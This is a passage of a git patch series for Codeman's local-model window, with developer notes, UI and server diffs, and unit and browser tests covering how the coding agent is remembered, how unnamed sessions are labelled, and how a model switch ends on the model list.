`not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index 6c22c0da4..a33a6bd17 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -70,7 +70,9 @@ * "Install " for one that is not on this Mac (its literal install command is on screen * above the button, so the click is the consent), and nothing to press for one that needs a * setup of its own. An install of an agent runs beside the model: the state stays `installed`, - * and another agent can be started meanwhile. The choice is remembered on this device. + * and another agent can be started meanwhile. The device remembers the agent a session was + * last STARTED with, and each opening of the window selects it while it can be started (a + * chip that was only looked at is not a choice, or the window would reopen on "Install"). * * ## Polling * @@ -633,15 +635,22 @@ Object.assign(CodemanApp.prototype, { }, /** - * The coding agents of the installed model and the one a session would start with: the one - * chosen in this window, else the one this device chose last, else the server's default - * (its first row). `row` is null when the server lists none. + * The coding agents of the installed model and the one a session would start with: the chip + * selected in this opening of the window, else the agent this device last STARTED a session + * with while it can still be started, else the server's default (its first row). A + * remembered agent that is not startable now never wins: the window would open on "Install" + * or on nothing to press, with "Start a session" out of sight. `row` is null when the server + * lists none. */ _localModelAgent() { const ui = this._localModelWindowState(); const rows = localModelAgents(localModelInstall(this._localModelStatus)); - const wanted = ui.agent || localModelStoredAgent(); - const row = rows.find((entry) => entry.cli === wanted) || rows.find((entry) => entry.default === true) || rows[0]; + const stored = ui.agent ? '' : localModelStoredAgent(); + const row = + rows.find((entry) => entry.cli === ui.agent) || + rows.find((entry) => entry.cli === stored && entry.status === 'ready') || + rows.find((entry) => entry.default === true) || + rows[0]; return { rows, row: row || null }; }, @@ -680,6 +689,9 @@ Object.assign(CodemanApp.prototype, { busy: false, notice: null, expected: null, + // A chip that was only looked at in an earlier opening is not a choice: each opening + // starts from the agent last STARTED on this device, else the server's default. + agent: null, confirmRemove: false, confirmDelete: null, justInstalled: false, @@ -910,13 +922,16 @@ Object.assign(CodemanApp.prototype, { if (asked) this._focusLocalModelWindow(asked === LOCAL_MODEL_STORE_KEY ? 'store-delete' : `delete:${asked}`); }, - /** Select a coding agent for the next session. Remembered on this device; nothing is sent. */ + /** + * Select a coding agent for the next session. Nothing is sent, and nothing is remembered + * yet: a chip can be selected just to see what installing it would run. The device + * remembers an agent once a session was started with it. + */ selectLocalModelAgent(cli) { const ui = this._localModelWindowState(); if (ui.busy || typeof cli !== 'string' || !cli) return; ui.agent = cli; ui.notice = null; - localModelStoreAgent(cli); this.renderLocalModel(); }, @@ -967,6 +982,8 @@ Object.assign(CodemanApp.prototype, { const install = localModelInstall(this._localModelStatus); const agent = typeof cli === 'string' && cli ? cli : install.cli; if (typeof agent !== 'string' || typeof install.endpointId !== 'string') return; + // The agent a session was started with is the one the next opening selects. + if (typeof cli === 'string' && cli) localModelStoreAgent(cli); const settingsOpen = document.getElementById('appSettingsModal')?.classList.contains('active'); this.closeLocalModelWindow(); if (settingsOpen) this.closeAppSettings?.(); diff --git a/test/local-model-ui.browser.test.ts b/test/local-model-ui.browser.test.ts index 016563238..164f9582b 100644 --- a/test/local-model-ui.browser.test.ts +++ b/test/local-model-ui.browser.test.ts @@ -510,6 +510,71 @@ describe('the local model window (real Chromium)', () => { expect(overflow).toBeLessThanOrEqual(0); }); + it('the coding agents: chips that wrap inside the window at every width, the install command included', async () => { + const agents = [ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] }, + { + cli: 'claude', + cliLabel: 'Claude Code', + default: false, + status: 'ready', + slowFirstTurn: true, + actions: ['start-session'], + }, + { + cli: 'pi', + cliLabel: 'Pi', + default: false, + status: 'installable', + installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + actions: ['install'], + }, + { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', actions: [] }, + ]; + const answer = { + ...INSTALLED, + install: { + ...INSTALLED.install, + harnesses: agents, + actions: [...INSTALLED.install.actions, 'install-agent'], + }, + }; + for (const [width, height] of [ + [1440, 900], + [390, 844], + [320, 640], + ]) { + await load(width, height, answer); + await open(); + // The agent that is not on this Mac: its command is the longest line of the block. + await p.locator('.lm-agent', { hasText: 'Pi' }).click(); + const seen = await p.evaluate(() => { + const frame = document.querySelector('.local-model-window')!.getBoundingClientRect(); + const body = document.getElementById('localModelWindowBody')!; + const outside = [...document.querySelectorAll('.lm-agent, .lm-agents .lm-command, .lm-buttons button')] + .map((el) => el.getBoundingClientRect()) + .filter((box) => box.width > 0 && (box.left < frame.left - 0.5 || box.right > frame.right + 0.5)).length; + const chips = [...document.querySelectorAll('.lm-agent')]; + return { + chips: chips.length, + outside, + sideways: body.scrollWidth - body.clientWidth, + checked: document.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')!.textContent, + tabStops: chips.filter((chip) => chip.tabIndex === 0).length, + main: document.querySelector('.lm-buttons .wt-btn-primary')!.textContent, + }; + }); + expect(seen, `${width}px`).toEqual({ + chips: 4, + outside: 0, + sideways: 0, + checked: 'Pi', + tabStops: 1, + main: 'Install Pi', + }); + } + }); + it('paints above App Settings when it is opened from there', async () => { await load(1440); await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active')); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index 7496423e1..dafdbb37d 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -2898,7 +2898,7 @@ describe('the coding agents of an installed model', () => { expect(frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); }); - it('starts the session with the selected agent, and this device remembers the choice', async () => { + it('starts the session with the selected agent, and this device remembers the agent it started', async () => { const page = mount(); const { app } = await opened(page, WITH_AGENTS); const launch = launcher(app); @@ -2907,11 +2907,13 @@ describe('the coding agents of an installed model', () => { // What the catalogue says about its first answer. expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual(['The first answer can take minutes.']); expect(verbs(app)).toEqual([]); + // Looking at a chip is not a choice yet. + expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBeNull(); press(page.body, 'Start a session'); await settle(); expect(launch).toHaveBeenCalledWith('claude', 'local-ollama'); - // The window opened again later: the last choice stands, not the default. + // The window opened again later: the agent last started stands, not the default. expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBe('claude'); const again = page.newApp(ok(WITH_AGENTS)); await again.loadLocalModel(); @@ -2920,6 +2922,27 @@ describe('the coding agents of an installed model', () => { expect(chosen(page)).toBe('Claude Code'); }); + it('a chip that was only looked at never hides Start a session when the window is opened again', async () => { + const page = mount(); + const { app } = await opened(page, WITH_AGENTS); + pick(page, 'DeepSeek'); + expect(buttons(page.body)).toEqual(['Remove', 'Stop']); + app.closeLocalModelWindow(); + app.openLocalModelWindow(); + await settle(); + // Back on the default agent, with the main action in reach. + expect(chosen(page)).toBe('OpenCode'); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + + // And an agent that was started once and has since been uninstalled does not win either. + page.dom.window.localStorage.setItem('codeman-local-model-agent', 'pi'); + app.closeLocalModelWindow(); + app.openLocalModelWindow(); + await settle(); + expect(chosen(page)).toBe('OpenCode'); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + }); + it('a remembered agent the server no longer lists falls back to the default', async () => { const page = mount(); page.dom.window.localStorage.setItem('codeman-local-model-agent', 'gone'); From db81d55fc9b909d61b0fc861f33d7ce3b2df6af5 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Thu, 12 Nov 2026 00:08:59 +0100 Subject: [PATCH 10/11] fix(local-model): name a session without a name in the "still using this model" refusal Seen on a MacBook (M5 Pro, 2026-11-12): with a worker of the codeman skill open on the local model, Stop, Remove and a switch of models answered Sessions are still using this model: . Close them first. A session an agent starts has no name of its own (a quick-start without sessionName), and the refusal listed session.name. The tab of such a session shows the last folder of its working directory, else the first eight characters of its id, so the sentence now uses the same label (sessionLabel() beside sessionNamesUsingEndpoint()). The sentence has shipped since 1.50.0 for Stop and Remove. This branch adds it to Use and to the install of another model, which is where a person with local workers open meets it. Co-Authored-By: Claude Fable 5.2 --- src/local-model/connect.ts | 22 ++++++++++++++++++---- test/local-model-connect.test.ts | 24 ++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 4 deletions(-) diff --git a/src/local-model/connect.ts b/src/local-model/connect.ts index 0af1fb122..d6d8e87b7 100644 --- a/src/local-model/connect.ts +++ b/src/local-model/connect.ts @@ -263,16 +263,30 @@ export async function isManagedLocalEndpoint(id: string): Promise { } /** - * The names of the live sessions that use the endpoint `endpointId`, in the order given. - * Pure. What `DELETE /api/local-model` answers its 409 with. + * What a session is called where a person reads it. A session an agent started (a worker of + * the codeman skill, `codeman agent spawn`) has no name of its own, and its tab then shows + * the last folder of its working directory, else the first eight characters of its id + * (`getSessionName()` in app.js). The same steps here, so that a sentence which lists + * sessions never lists an empty name. Pure. + */ +export function sessionLabel(session: { id?: string; name?: string; workingDir?: string }): string { + const name = (session.name ?? '').trim(); + if (name) return name; + const folder = (session.workingDir ?? '').split('/').filter(Boolean).pop(); + return folder || (session.id ?? '').slice(0, 8); +} + +/** + * The live sessions that use the endpoint `endpointId`, in the order given, each by the name + * its tab shows (`sessionLabel()`). Pure. What the feature answers a 409 `sessions-open` with. */ export function sessionNamesUsingEndpoint( - sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>, + sessions: Iterable<{ id?: string; name: string; workingDir?: string; customModel?: { endpointId: string } }>, endpointId: string = LOCAL_MODEL_ENDPOINT_ID ): string[] { const names: string[] = []; for (const session of sessions) { - if (session.customModel?.endpointId === endpointId) names.push(session.name); + if (session.customModel?.endpointId === endpointId) names.push(sessionLabel(session)); } return names; } diff --git a/test/local-model-connect.test.ts b/test/local-model-connect.test.ts index 3630baf65..41d43e6f7 100644 --- a/test/local-model-connect.test.ts +++ b/test/local-model-connect.test.ts @@ -375,6 +375,30 @@ describe('sessionNamesUsingEndpoint', () => { expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']); expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]); }); + + // Seen on a Mac: a worker the codeman skill started has no name, and the refusal read + // "Sessions are still using this model: . Close them first." + it('names a session without a name the way its tab does: the folder, else the short id', () => { + const ours = { endpointId: 'local-ollama' }; + expect( + sessionNamesUsingEndpoint([ + { + id: '7dbd7b0d-0000-4000-8000-000000000001', + name: '', + workingDir: '/Users/x/codeman-cases/summaries', + customModel: ours, + }, + { + id: 'a030dddb-0000-4000-8000-000000000002', + name: ' ', + workingDir: '/Users/x/codeman-cases/review/', + customModel: ours, + }, + { id: 'c1d2e3f4-0000-4000-8000-000000000003', name: '', workingDir: '', customModel: ours }, + { id: 'ffffffff-0000-4000-8000-000000000004', name: 'w1-app', workingDir: '/Users/x/app', customModel: ours }, + ]) + ).toEqual(['summaries', 'review', 'c1d2e3f4', 'w1-app']); + }); }); describe('compareModelDigest', () => { From 9c2ba35f38486b82299d9346a1be3981aa9fae6f Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Thu, 12 Nov 2026 00:10:55 +0100 Subject: [PATCH 11/11] fix(local-model): a switch ends on the list of models, not on the one-button screen Seen on a MacBook (M5 Pro, 2026-11-12): pressing Use on a model in "Models on this Mac" ran the switch and then showed the screen that ends an install, "X is ready on this Mac" with Start a session alone. The list was gone, so deleting the model just switched away from meant closing the window and opening it again. That screen is right after a download: the person installed a model and wants a session. A switch is pressed IN the list by someone who is tidying it. A switch is a job without a `model` step, so the window now tells the two apart from the job it just watched and ends a switch on the whole installed screen: the list with "In use" on the other row, Add a model, Stop and Remove. Co-Authored-By: Claude Fable 5.2 --- src/web/CLAUDE.md | 2 +- src/web/public/local-model-ui.js | 17 +++++++++---- test/local-model-ui.test.ts | 43 ++++++++++++++++++++++++++++++++ 3 files changed, 56 insertions(+), 6 deletions(-) diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index fd47f9569..cb18ca51d 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`; never after a switch, a job without a `model` step, which ends on the whole installed screen so the list of models is still there for the next Use or Delete), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index dc2101779..3e875ebd3 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -520,14 +520,20 @@ Object.assign(CodemanApp.prototype, { /** * Called with the `install` object that is about to replace the one on screen. An install * that was running and is installed now finished in front of the person: the window then - * shows the screen that ends it (see `justInstalled`). Any other state ends that moment. + * shows the screen that ends it (see `justInstalled`). A switch is the exception: it ends + * on the whole installed screen, list of models included. Any other state ends that moment. */ _noteLocalModelInstall(next) { const ui = this._localModelWindowState(); - const before = localModelInstall(this._localModelStatus).state; + const last = localModelInstall(this._localModelStatus); + const before = last.state; const after = next && typeof next.state === 'string' ? next.state : 'idle'; + // A switch downloads nothing (its job has no `model` step). The person pressed Use in the + // list of models, so it ends on that list, with "In use" on the other row: the screen + // that ends an install would take the list away from someone who came to tidy it. + const switched = Array.isArray(last.steps) && !last.steps.includes('model'); if (after !== 'installed') ui.justInstalled = false; - else if (before === 'installing' && ui.open) ui.justInstalled = true; + else if (before === 'installing' && ui.open) ui.justInstalled = !switched; }, _localModelRefused() { @@ -560,8 +566,9 @@ Object.assign(CodemanApp.prototype, { */ confirmDelete: null, /** - * The install finished while this window was open: the screen that ends it shows - * "Start a session" alone. Stop and Remove belong to the window opened later. + * An install (a job that downloaded a model) finished while this window was open: + * the screen that ends it shows "Start a session" alone. Stop and Remove belong to + * the window opened later. Never set by a switch (`_noteLocalModelInstall`). */ justInstalled: false, }; diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index e0d50bd6b..d4a0d72c2 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -2679,6 +2679,49 @@ describe('the models on this Mac', () => { expect(buttons(page.body)).toEqual(['Start a session']); }); + // Seen on a Mac: Use, then the list was gone, and deleting the other model meant closing the + // window and opening it again. + it('a switch that ends in the open window comes back to the list, the other model in use', async () => { + const page = mount(); + const switching = status( + {}, + { + ...TWO.install, + state: 'installing', + step: 'verify', + steps: ['verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' }, + library: 